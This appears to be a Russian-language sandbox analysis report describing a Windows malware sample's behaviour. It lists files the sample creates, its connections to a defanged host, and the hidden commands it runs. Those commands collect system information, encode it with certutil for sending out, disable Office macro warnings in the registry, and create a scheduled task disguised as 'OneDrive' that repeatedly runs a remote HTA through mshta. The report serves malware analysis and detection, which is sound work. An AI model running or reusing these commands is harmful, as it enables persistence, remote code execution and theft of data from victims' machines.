Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\onedrive
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /im mshta.exe /f
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\network\sr011.xml
- %APPDATA%\microsoft\network\conv.xml
Удаляет следующие файлы
- %APPDATA%\microsoft\network\sr011.xml
- %APPDATA%\microsoft\network\conv.xml
Сетевая активность
Подключается к
- 'bo#z.kr':80
TCP
Запросы HTTP POST
- http://www.bo#z.kr/skin/member/basic/css/report.php
UDP
- DNS ASK bo#z.kr
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c del %APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c certutil -encode %APPDATA%\Microsoft\Network\sr011.xml %APPDATA%\Microsoft\Network\conv.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c dir "%APPDATA%\Microsoft\Windows\Recent">>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c dir "%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs">>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c tasklist>>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ipconfig /all>>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c systeminfo>>%APPDATA%\Microsoft\Network\sr011.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC MINUTE /MO 3 /TN OneDrive /TR "mshta http://www.bo#z.kr/skin/member/basic/css/suf.hta" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\16.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\15.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c del %APPDATA%\Microsoft\Network\conv.xml' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /im mshta.exe /f' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c del %APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\certutil.exe' -encode %APPDATA%\Microsoft\Network\sr011.xml %APPDATA%\Microsoft\Network\conv.xml
- '<SYSTEM32>\cmd.exe' /c certutil -encode %APPDATA%\Microsoft\Network\sr011.xml %APPDATA%\Microsoft\Network\conv.xml
- '<SYSTEM32>\cmd.exe' /c dir "%APPDATA%\Microsoft\Windows\Recent">>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\cmd.exe' /c dir "%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs">>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\cmd.exe' /c dir "%ProgramFiles(x86)%">>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\cmd.exe' /c dir "%ProgramFiles%">>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /c tasklist>>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\cmd.exe' /c ipconfig /all>>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\cmd.exe' /c del %APPDATA%\Microsoft\Network\conv.xml
- '<SYSTEM32>\cmd.exe' /c systeminfo>>%APPDATA%\Microsoft\Network\sr011.xml
- '<SYSTEM32>\cmd.exe' /c schtasks /Create /SC MINUTE /MO 3 /TN OneDrive /TR "mshta http://www.bo#z.kr/skin/member/basic/css/suf.hta" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Office\16.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\16.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Office\15.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\15.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Office\14.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /MO 3 /TN OneDrive /TR "mshta http://www.bo#z.kr/skin/member/basic/css/suf.hta" /f
- '<SYSTEM32>\cmd.exe' /c taskkill /im mshta.exe /f
